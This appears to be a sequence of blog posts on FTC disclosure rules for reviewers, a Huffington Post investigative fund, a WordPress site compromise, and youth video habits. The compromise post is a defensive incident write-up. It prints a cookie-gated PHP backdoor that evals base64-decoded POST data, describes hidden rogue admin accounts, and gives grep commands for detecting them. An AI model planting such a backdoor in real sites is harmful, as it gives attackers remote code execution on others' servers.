The rules seem, on the whole, reasonable to me. Granted, I’ve never reviewed something I’m paid for or received for free, so I’m not the “target” of these changes.

The one troubling objection I’ve seen made is that the new rules may hold the manufacturers or publishers liable in some way for false statements made by bloggers. In other words, the rules may treat blog posts and tweets as traditional advertising subject, in some way, to “false advertising” claims. As one blogger laments:

Like I want publishers breathing down my neck while I try to write fair and honest reviews. We’ve already turned away publishers who wanted to have oversight over our reviews. And frankly, I feel like I should be giving instruction to publishers on labeling issues.

This would, indeed, be a problem. I hope the FTC does not equate an ARC to the kind of payment and responsibility an advertiser assumes for an ad that they place. But on the whole I am glad to see the FTC thinking about the future of marketing and the consumer protections we need in place to be able to judge the information we get via the web.

That’s not quite what emerged this week, but the Huffington Post took a step toward this future by creating a new Investigative Fund as a separate organization.

This model is not quite the independent reporter. Here we have a staff of editors being funded by an initial $1.75 million.

Picture a large pool of reporters — some on staff, and many freelancers — proposing stories and also receiving assignments from Investigative Fund editors.

But these reporters will not be producing news for any single outlet. Instead, the content they create will be open for anyone to run.

The pieces developed by the Fund will range from long-form investigations to short breaking news stories and will be presented in a variety of media, including text, audio and video. And, in the open source spirit of the Web, all of the content the Fund produces will be free for anyone to publish.

This sounds like an important experiment. I still feel the model is not quite as radical as we will see in the future. But it does represent the further unravelling of journalism as we have funded it to date.

Our first hit was a few months ago when we noticed that we could no longer publish to WP with MarsEdit. I quickly figured out that the xmlrpc.php file in the affected WP installations had become corrupt.

if ( isset($HTTP_RAW_POST_DATA) )
$HTTP_RAW_POST_DATA = mysql_escape_string(trim($HTTP_RAW_POST_DATA));


See that “mysql_escape_string”? That does not belong there at all. At that time I didn’t know how this had happened, but I knew how to fix it. I simply copied fresh versions of the xmlrpc.php file over the corrupt versions. We could then post from MarsEdit again.

Oddly, this happened again. And again. I started noticing a pattern: this seemed to happen on the 20th of the month, near midnight. When it happened again yesterday, I got fed up. How was this file changing?

What I found…

I have ssh access to my host, so I used the command

find ~ -mmin -1200 -a -mmin +980 -print

to determine which files had changed during this time period. (Note, the numbers are the number of minutes before the time I ran the command, they represent a range of 220 minutes.) This showed me that not only had the xmlrpc.php file changed, but so had index.php.

The change to index.php was much more troubling. This file is what gets run by default when anyone comes to a WP site. It is a PHP script, and this change was to insert one line of PHP in front of the legitimate script. Each WP install had a slightly different version of this line (the numbers varied), but they all made the same point.

<?php if(md5($_COOKIE['b4abfd6856e14429'])=="a195911a91a2618a167465bbc159b7fe"){ eval(base64_decode($_POST['file'])); exit; } ?>


Yikes! This looks like a line that waits for “browsers” with a special cookie to stop by and then runs (evaluates) a coded (base64_decode) version of a file full of PHP on our host! What’s in that ‘file’? Who knows, but I’m sure it is not pretty. In fact, this very illuminating post gave me some ideas what might be behind this line.

Once I was sure that my WP installs had been compromised, I started digging deeper into the WP databases. Sure enough, I found at least one corrupted posting and in virtually every database I found improper user accounts. The posting was easily identified, it was one of those with a thousand poker-related links in it. I’m not even sure it was part of the same scheme. The user accounts were a bit trickier.

Each database had a user called “WordPress” in the “wp_users” table that was obviously an intrusion. This user was invisible to the admin interface of WP, yet it was authorized as an administrator. When I searched the “wp_usermeta” table for “admin” I found that each database also had one or two administrative users metadata which had more scripts in place of the display name. Yuck! Finally, I eventually noticed some added admin users in “wp_users” who had the names of other legitimate admin users, but with a single (random?) letter attached.

OK. Clearly a lot of clean up to do.

What I did…

We had to fix both our WP databases and our WP installation. I’m sure there are cleaner ways of doing this, but for the record, here’s what I did. Feel free to leave brighter ideas in the comments!

The first thing I did was call my son Alex in to help me sort through all of this. Find your own Alex, it is nice to have a partner to ask questions and keep you on track.

We decided to clean up the databases first, then copy fresh WP installs in place of the old ones, and then upgrade the databases for the (often new) versions of WP.

Cleaning out the “wp_users” and “wp_usermeta” tables was done with CocoaMySQL, though you could probably do the same thing with phpMyAdmin or any number of other tools. We simply deleted all suspicious users and usermetadata. Look for anything administrative that should not be there, in particular look for the “WordPress” account. A normal WordPress install does not have a user named “WordPress”, so get rid of it.

We then decided that we wanted to make sure the nasty invader had not added any other files to our WP installations. We essentially followed the procedure documented at WordPress for upgrading installations, removing the “wp_admin” and “wp_includes” directories and copying fresh WP files over everything else. We were as conservative as we could be about what we left in the “wp_content” folder, but we did have to leave some of our old themes and plugins there.

Finally, we decided to change our authoring practice. We had been authoring on our blogs from accounts that had admin privileges. Since our WP installs do not run behind SSL, we decided to create new dedicated admin accounts (note, we did not call this new user “admin”), and todowngrade our existing authoring accounts to “Author” or “Editor” privileges.

Actually, since we don’t really know how this happened, I also decided to add a layer of logging to one of our WP installations for the time being. I want to know if anyone does anything strange. I found that a WP plugin had been written to assist with that task, check out the vi-logger post-logger.

Where do we stand?

While we think we have cleaned up our mess, we are still not sure how the nasties got onto our system in the first place. We will be more vigilant for the next few months and see if they return. Hopefully the POST monitoring will give us a better idea of how this happens if it does happen again. Until then, we feel good about this afternoon’s work.

Updates

Check out this eight month old thread catching the birth of this attack. Yes, I see bogus “wp_options” entries for fake “active_plugins” too.

Another set of instructions on what to do.

A not very helpful WP codex page.

A great description of how this “ekibastos attack” takes place. It includes a pointer to this very helpful exploit scanner script.

I also had to search for two more phrases to id files that had been compromised:

find ~/public_html -exec grep "unserialize.base64_decode" {} \; -exec ls -l {} \;
find ~/public_html -exec grep "eval.base64_decode" {} \; -exec ls -l {} \;

Rather than treating video-sharing Web sites as traditional news sources, young people use them as tools and act as editors themselves.

“We’re talking about a generation that doesn’t just like seeing the video in addition to the story — they expect it,” said Danny Shea, 23, the associate media editor for The Huffington Post (huffingtonpost.com). “And they’ll find it elsewhere if you don’t give it to them, and then that’s the link that’s going to be passed around over e-mail and instant message.”

The Times notes, for example, that even at the NYT site the transcript of the Obama speech last week was more emailed than any story their reporters wrote about the speech. Why does that make me feel so good? Imagine, people are learning to reach out for primary sources. On the web!